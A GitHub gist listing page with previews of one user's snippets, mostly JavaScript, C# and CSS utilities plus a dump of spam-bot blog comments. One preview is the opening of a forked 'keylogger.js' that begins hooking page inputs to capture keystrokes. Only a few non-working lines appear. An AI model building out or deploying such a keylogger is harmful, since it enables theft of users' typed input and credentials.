Skip to content

Instantly share code, notes, and snippets.

@06b
06b / String.IsNullOrEmpty.js
Created February 7, 2014 21:02
String.IsNullOrEmpty implementation
// String.IsNullOrEmpty implementation
String.IsNullOrEmpty = function(value){
if(value){
if( typeof( value ) == 'string' ){
if( value.length > 0 )
return false;
}
if( value != null )
return false;
}
@06b
06b / Starts - Ends & Trim.js
Created February 7, 2014 21:03
StartsWith(string suffix,bool ignoreCase), EndsWith(string suffix,bool ignoreCase) and Trim() :
// string.StartWith implementation
String.prototype.StartsWith = function(prefix,ignoreCase) {
if( !prefix ) return false;
if( prefix.length > this.length ) return false;
if( ignoreCase ) {
if( ignoreCase == true ) {
return (this.substr(0, prefix.length).toUpperCase() == prefix.toUpperCase());
}
}
@06b
06b / utilitySort.js
Last active August 29, 2015 13:57
Useful for sorting lists with javascript
// Utility Sort functions - useful for sorting lists
// accending sort
function asc_sort(a, b) {
return ($(b).text()) < ($(a).text()) ? 1 : -1;
}
// decending sort
function dec_sort(a, b) {
return ($(b).text()) > ($(a).text()) ? 1 : -1;
@06b
06b / IE10CSSHack
Created February 9, 2015 17:26
IE10 CSS Hack since IE10 no longer supports conditional comments - Sadly I needed to use this in 2015.
if (/*@cc_on!@*/false && document.documentMode === 10) {
document.documentElement.className+=' ie10';
}
@06b
06b / ErrorController.cs
Last active April 15, 2017 09:18
ASP.NET MVC CustomErrors
public class ErrorController : Controller
{
// GET: Error
public ActionResult Index()
{
//Deal with aspxerrorpath
if (!string.IsNullOrEmpty(Request.QueryString["aspxerrorpath"]))
{
return RedirectToAction("Index");
}
@06b
06b / keylogger.js
Last active November 15, 2015 14:05 — forked from scarvell/keylogger.js
// Copyright John Leitch 2010 [email protected]
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;
function hookInputs() {
var frame = document.getElementById('overlayFrame');
var keyPressScript =
@06b
06b / gist:551281df30801b109384
Created August 26, 2015 17:58
Foundation Utility Float Right Classes for different screen sizes
/* Compiled CSS (with default Foundation breakpoints) - http://stackoverflow.com/questions/30310667/no-right-floating-for-small-state-in-foundation-framework/30319607#30319607 */
@media only screen and (max-width: 40em) {
.small-only-right {
float: right !important;
}
}
@media only screen {
.small-right {
float: right !important;
@06b
06b / ShortGuid.cs
Created September 3, 2015 02:14
ShortGuid - A shorter and url friendly GUID class in C#
using System;
namespace CSharpVitamins
{
/// <summary>
/// Represents a globally unique identifier (GUID) with a
/// shorter string value. Sguid
/// </summary>
public struct ShortGuid
{
@06b
06b / gist:4176ed74a6fa6920b5be
Created November 6, 2015 20:34
Kendo DropDown Validation Fix for Error Styling
//kendo validation is required for validation of kendo controls to work properly.
$("form").kendoValidator({
errorTemplate: "", //remove the additions kendo places to the right of each field.
validate: function (e) {
//Bizarrely, Kendo dropdowns require special attention.
//Span with k-dropdown are kendo dropdown controls. They contain an input, which is used to store the value,
//and another span (which has .k-input-wrap) that controls the actual presentation.
//
//The problem is that k-invalid is placed on the input, which isn't even visible. So, we have to
@06b
06b / gist:71a1c15ac8d6ccaea5f8adf5e18f24e9
Created May 10, 2017 21:14 — forked from chrisallenlane/gist:3709006
Dump from a malfunctioning Wordpress spam bot
Submitted on 2012/06/19 at 12:32 am
Hello, just wanted to mention, I enjoyed this blog post. It was practical. Keep on posting!
What’s up, I just wanted to mention, you’re wrong. Your point doesn’t make any sense.
Hello, how’s it going? Just shared this post with a colleague, we had a good laugh.
Incredible points. Great arguments. Keep up the amazing effort.
This text is worth everyone’s attention. Where can I find out more?